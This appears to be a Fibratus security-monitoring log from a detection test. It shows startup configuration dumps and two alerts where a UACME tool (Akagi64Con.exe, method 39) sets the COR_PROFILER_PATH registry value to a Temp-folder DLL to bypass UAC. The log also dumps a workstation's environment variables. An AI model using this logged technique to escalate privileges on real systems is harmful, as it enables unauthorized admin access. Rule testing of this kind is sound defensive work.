source=bootstrap/bootstrap.go:150 +time=2025-11-26T14:51:58+01:00 level=info msg=bootstrapping with pid 15148. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-26T14:51:58+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] mail=>[ content-type=>text/html use-template=>true enabled=>false port=>25 to=>[]] slack=>[ enabled=>false] systray=>[ sound=>true enabled=>false quiet-mode=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-threads=>false serialize-handles=>false serialize-pe=>false serialize-images=>false] + eventsource .................... [ enable-audit-api=>true enable-vamap=>true stack-enrichment=>true min-buffers=>16 enable-registry=>true max-buffers=>36 buffer-size=>512 flush-interval=>1s enable-net=>true enable-handle=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-threadpool=>false enable-image=>true enable-mem=>false enable-thread=>true enable-dns=>false enable-fileio=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 max-age=>0 max-backups=>15 log-stdout=>true level=>info formatter=>text] + output ......................... [ eventlog=>[ level=>info enabled=>false] http=>[ enabled=>false enable-gzip=>false endpoints=>[] method=>POST serializer=>json tls-insecure-skip-verify=>false timeout=>5s] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty] amqp=>[ routing-key=>fibratus timeout=>5s delivery-mode=>transient passive=>false url=>amqp://localhost:5672 durable=>false vhost=>/ enabled=>false exchange-type=>topic exchange=>fibratus tls-insecure-skip-verify=>false] elasticsearch=>[ healthcheck-interval=>10s servers=>[http://127.0.0.1:9200] timeout=>5s flush-period=>1s bulk-workers=>1 sniff=>false healthcheck=>true gzip-compression=>false trace-log=>false template-name=>fibratus index-name=>fibratus healthcheck-timeout=>5s enabled=>false]] + pe ............................. [ excluded-images=>[svchost.exe] enabled=>false read-symbols=>false read-sections=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]]] + yara ........................... [ rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] fastscan=>true skip-registry=>false excluded-files=>[] skip-mmaps=>false scan-timeout=>10s skip-allocs=>false skip-files=>false enabled=>false excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-26T14:51:58+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-26T14:51:58+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-26T14:52:13+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-26T14:52:14+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-26T14:52:14+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-26T14:52:53+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-26T14:52:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-26T14:52:53+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: false + HasImageEvents: false + HasFileEvents: false + HasRegistryEvents: true + HasNetworkEvents: false + HasHandleEvents: false + HasMemEvents: false + HasVAMapEvents: false + HasAuditAPIEvents: false + HasDNSEvents: false + HasThreadpoolEvents: false + Events: CreateProcess, RegSetValue source=bootstrap/bootstrap.go:150 +time=2025-11-26T14:52:53+01:00 level=info msg=bootstrapping with pid 15560. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-26T14:52:53+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] mail=>[ port=>25 to=>[] enabled=>false content-type=>text/html use-template=>true] systray=>[ enabled=>false sound=>true quiet-mode=>false] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-pe=>false serialize-threads=>false serialize-handles=>false serialize-envs=>true] + eventsource .................... [ enable-vamap=>true enable-mem=>false enable-image=>true enable-handle=>false enable-net=>true stack-enrichment=>true buffer-size=>512 enable-registry=>true flush-interval=>1s enable-audit-api=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-thread=>true max-buffers=>36 min-buffers=>16 enable-threadpool=>false enable-fileio=>true enable-dns=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml] from-urls=>[] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info max-size=>100 formatter=>text log-stdout=>true max-backups=>15 max-age=>0] + output ......................... [ amqp=>[ tls-insecure-skip-verify=>false delivery-mode=>transient vhost=>/ enabled=>false routing-key=>fibratus exchange-type=>topic exchange=>fibratus durable=>false passive=>false timeout=>5s url=>amqp://localhost:5672] elasticsearch=>[ timeout=>5s trace-log=>false servers=>[http://127.0.0.1:9200] index-name=>fibratus gzip-compression=>false flush-period=>1s healthcheck-interval=>10s template-name=>fibratus healthcheck=>true sniff=>false bulk-workers=>1 healthcheck-timeout=>5s enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] eventlog=>[ enabled=>false level=>info] http=>[ endpoints=>[] timeout=>5s serializer=>json enabled=>false enable-gzip=>false tls-insecure-skip-verify=>false method=>POST]] + pe ............................. [ read-sections=>false read-resources=>false enabled=>false read-symbols=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] enabled=>false fastscan=>true skip-files=>false scan-timeout=>10s skip-registry=>false skip-mmaps=>false excluded-procs=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-allocs=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-26T14:52:53+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-26T14:52:53+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-26T14:54:22+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-26T14:54:22+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-26T14:54:22+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-26T14:56:41+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-26T14:56:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-26T14:56:41+01:00 level=info msg=rules compile summary: + HasProcEvents: false + HasThreadEvents: false + HasImageEvents: false + HasFileEvents: false + HasRegistryEvents: true + HasNetworkEvents: false + HasHandleEvents: false + HasMemEvents: false + HasVAMapEvents: false + HasAuditAPIEvents: false + HasDNSEvents: false + HasThreadpoolEvents: false + Events: RegSetValue source=bootstrap/bootstrap.go:150 +time=2025-11-26T14:56:41+01:00 level=info msg=bootstrapping with pid 14460. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-26T14:56:41+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ to=>[] use-template=>true enabled=>false port=>25 content-type=>text/html] slack=>[ enabled=>false] systray=>[ enabled=>false quiet-mode=>false sound=>true] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-images=>false serialize-threads=>false serialize-handles=>false serialize-envs=>true] + eventsource .................... [ max-buffers=>36 enable-dns=>false stack-enrichment=>true enable-registry=>true enable-mem=>false min-buffers=>16 enable-audit-api=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-fileio=>true buffer-size=>512 enable-net=>true enable-image=>true enable-vamap=>true enable-thread=>true enable-threadpool=>false enable-handle=>false flush-interval=>1s] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 log-stdout=>true formatter=>text max-age=>0 level=>info max-backups=>15] + output ......................... [ console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true] amqp=>[ routing-key=>fibratus timeout=>5s tls-insecure-skip-verify=>false enabled=>false vhost=>/ delivery-mode=>transient passive=>false exchange=>fibratus url=>amqp://localhost:5672 durable=>false exchange-type=>topic] http=>[ enabled=>false tls-insecure-skip-verify=>false serializer=>json method=>POST timeout=>5s endpoints=>[] enable-gzip=>false] elasticsearch=>[ timeout=>5s index-name=>fibratus trace-log=>false bulk-workers=>1 gzip-compression=>false enabled=>false healthcheck-timeout=>5s template-name=>fibratus healthcheck-interval=>10s flush-period=>1s servers=>[http://127.0.0.1:9200] healthcheck=>true sniff=>false] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-sections=>false excluded-images=>[svchost.exe] read-resources=>false enabled=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ scan-timeout=>10s rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-allocs=>false enabled=>false skip-files=>false excluded-files=>[] skip-mmaps=>false fastscan=>true skip-registry=>false excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-26T14:56:41+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-26T14:56:41+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-26T14:56:49+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: |C:\Users\nedo\AppData\Local\Temp\pe386.dll| + Event(s): + Seq: 2370620 + Pid: 2508 + Tid: 17672 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-11-26 14:56:48.3711712 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffa2809aa241f0, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004 + + Pid: 2508 + Ppid: 7432 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:5cfaaa32-1199-4076-81f7-de1a936a430a WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-26T14:57:00+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-26T14:57:01+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-26T14:57:01+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-26T14:57:29+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-26T14:57:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-26T14:57:30+01:00 level=info msg=rules compile summary: + HasProcEvents: false + HasThreadEvents: false + HasImageEvents: false + HasFileEvents: false + HasRegistryEvents: true + HasNetworkEvents: false + HasHandleEvents: false + HasMemEvents: false + HasVAMapEvents: false + HasAuditAPIEvents: false + HasDNSEvents: false + HasThreadpoolEvents: false + Events: RegSetValue source=bootstrap/bootstrap.go:150 +time=2025-11-26T14:57:30+01:00 level=info msg=bootstrapping with pid 9736. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-26T14:57:30+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ to=>[] use-template=>true content-type=>text/html enabled=>false port=>25] systray=>[ sound=>true quiet-mode=>false enabled=>false] eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-handles=>false serialize-pe=>false serialize-envs=>true serialize-images=>false serialize-threads=>false] + eventsource .................... [ enable-net=>true max-buffers=>36 enable-audit-api=>true enable-mem=>false enable-dns=>false enable-threadpool=>false enable-image=>true buffer-size=>512 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-fileio=>true enable-vamap=>true flush-interval=>1s stack-enrichment=>true enable-thread=>true min-buffers=>16 enable-registry=>true enable-handle=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml] from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info max-size=>100 formatter=>text max-backups=>15 log-stdout=>true max-age=>0] + output ......................... [ elasticsearch=>[ template-name=>fibratus flush-period=>1s timeout=>5s bulk-workers=>1 healthcheck-interval=>10s index-name=>fibratus gzip-compression=>false healthcheck=>true enabled=>false servers=>[http://127.0.0.1:9200] sniff=>false trace-log=>false healthcheck-timeout=>5s] http=>[ endpoints=>[] method=>POST timeout=>5s serializer=>json enabled=>false tls-insecure-skip-verify=>false enable-gzip=>false] eventlog=>[ enabled=>false level=>info] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true] amqp=>[ exchange=>fibratus url=>amqp://localhost:5672 exchange-type=>topic passive=>false delivery-mode=>transient durable=>false enabled=>false tls-insecure-skip-verify=>false vhost=>/ timeout=>5s routing-key=>fibratus]] + pe ............................. [ enabled=>false excluded-images=>[svchost.exe] read-resources=>false read-sections=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ scan-timeout=>10s rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-files=>[] fastscan=>true skip-mmaps=>false excluded-procs=>[] skip-allocs=>false skip-files=>false skip-registry=>false enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-26T14:57:30+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-26T14:57:30+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-26T14:57:36+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: |C:\Users\nedo\AppData\Local\Temp\pe386.dll| + Event(s): + Seq: 2370842 + Pid: 11424 + Tid: 12404 + Type: RegSetValue + CPU: 6 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-11-26 14:57:35.6988255 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffa2809aa241f0, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: tactic.id: TA0004, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 11424 + Ppid: 7432 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe 